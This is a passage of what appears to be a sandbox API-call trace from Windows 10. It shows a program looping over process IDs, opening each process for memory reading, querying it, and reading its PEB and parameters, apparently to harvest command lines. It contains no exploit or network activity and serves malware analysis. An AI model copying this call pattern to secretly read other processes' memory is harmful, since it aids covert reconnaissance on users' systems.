ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.407] malloc (_Size=0x6c) returned 0xea8e20 [0349.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222bc, lpBuffer=0xea8e20, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0349.407] free (_Block=0xea8e20) [0349.407] CloseHandle (hObject=0xa9c) returned 1 [0349.408] _ui64tow_s (in: _Value=0x1650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5712") returned 0x0 [0349.408] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5712") returned 4 [0349.408] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.408] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.409] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1650) returned 0xa9c [0349.409] GetLastError () returned 0x0 [0349.409] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.409] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.409] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.409] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5626e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.409] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x562258, lpBuffer=0x5ec5a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.410] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.410] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x561c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.410] malloc (_Size=0x9c) returned 0xe95840 [0349.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5622ec, lpBuffer=0xe95840, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe95840*, lpNumberOfBytesRead=0x0) returned 1 [0349.411] free (_Block=0xe95840) [0349.411] CloseHandle (hObject=0xa9c) returned 1 [0349.411] _ui64tow_s (in: _Value=0x1658, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5720") returned 0x0 [0349.420] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5720") returned 4 [0349.420] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.421] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.421] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1658) returned 0xa9c [0349.421] GetLastError () returned 0x0 [0349.421] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.421] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152680, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152258, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.422] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.422] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x151c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.423] malloc (_Size=0x7c) returned 0xe88360 [0349.423] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1522cc, lpBuffer=0xe88360, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88360*, lpNumberOfBytesRead=0x0) returned 1 [0349.423] free (_Block=0xe88360) [0349.423] CloseHandle (hObject=0xa9c) returned 1 [0349.423] _ui64tow_s (in: _Value=0x1660, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5728") returned 0x0 [0349.424] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5728") returned 4 [0349.424] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.424] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.425] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1660) returned 0xa9c [0349.425] GetLastError () returned 0x0 [0349.425] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.425] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.425] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.425] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.425] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.425] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.426] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.426] malloc (_Size=0x60) returned 0xeb6460 [0349.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722b0, lpBuffer=0xeb6460, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6460*, lpNumberOfBytesRead=0x0) returned 1 [0349.426] free (_Block=0xeb6460) [0349.427] CloseHandle (hObject=0xa9c) returned 1 [0349.427] _ui64tow_s (in: _Value=0x1668, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5736") returned 0x0 [0349.427] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5736") returned 4 [0349.427] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.427] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.428] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1668) returned 0xa9c [0349.428] GetLastError () returned 0x0 [0349.428] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.428] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.428] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.428] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.429] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.429] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.429] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.429] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.429] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.429] malloc (_Size=0x6c) returned 0xea97a0 [0349.429] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22bc, lpBuffer=0xea97a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.430] free (_Block=0xea97a0) [0349.430] CloseHandle (hObject=0xa9c) returned 1 [0349.430] _ui64tow_s (in: _Value=0x1670, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5744") returned 0x0 [0349.430] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5744") returned 4 [0349.430] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.430] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.431] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1670) returned 0xa9c [0349.431] GetLastError () returned 0x0 [0349.431] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.431] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.431] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.432] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.432] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.432] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.432] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.432] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.432] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.433] malloc (_Size=0x62) returned 0xeb6770 [0349.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22b2, lpBuffer=0xeb6770, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0349.433] free (_Block=0xeb6770) [0349.433] CloseHandle (hObject=0xa9c) returned 1 [0349.433] _ui64tow_s (in: _Value=0x167c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5756") returned 0x0 [0349.433] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5756") returned 4 [0349.434] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.434] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.434] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x167c) returned 0xa9c [0349.434] GetLastError () returned 0x0 [0349.434] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.435] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.435] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.435] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4426d0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.435] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.435] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.435] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.435] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.435] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.436] malloc (_Size=0x96) returned 0xec7200 [0349.436] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422e6, lpBuffer=0xec7200, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7200*, lpNumberOfBytesRead=0x0) returned 1 [0349.436] free (_Block=0xec7200) [0349.436] CloseHandle (hObject=0xa9c) returned 1 [0349.436] _ui64tow_s (in: _Value=0x1684, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5764") returned 0x0 [0349.437] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5764") returned 4 [0349.437] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.437] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.438] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1684) returned 0xa9c [0349.438] GetLastError () returned 0x0 [0349.438] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.438] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.438] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.439] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.439] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.439] malloc (_Size=0x62) returned 0xeb6460 [0349.439] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22b2, lpBuffer=0xeb6460, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6460*, lpNumberOfBytesRead=0x0) returned 1 [0349.439] free (_Block=0xeb6460) [0349.439] CloseHandle (hObject=0xa9c) returned 1 [0349.440] _ui64tow_s (in: _Value=0x169c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5788") returned 0x0 [0349.440] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5788") returned 4 [0349.440] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.440] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x169c) returned 0xa9c [0349.441] GetLastError () returned 0x0 [0349.441] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.442] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.442] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.442] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, 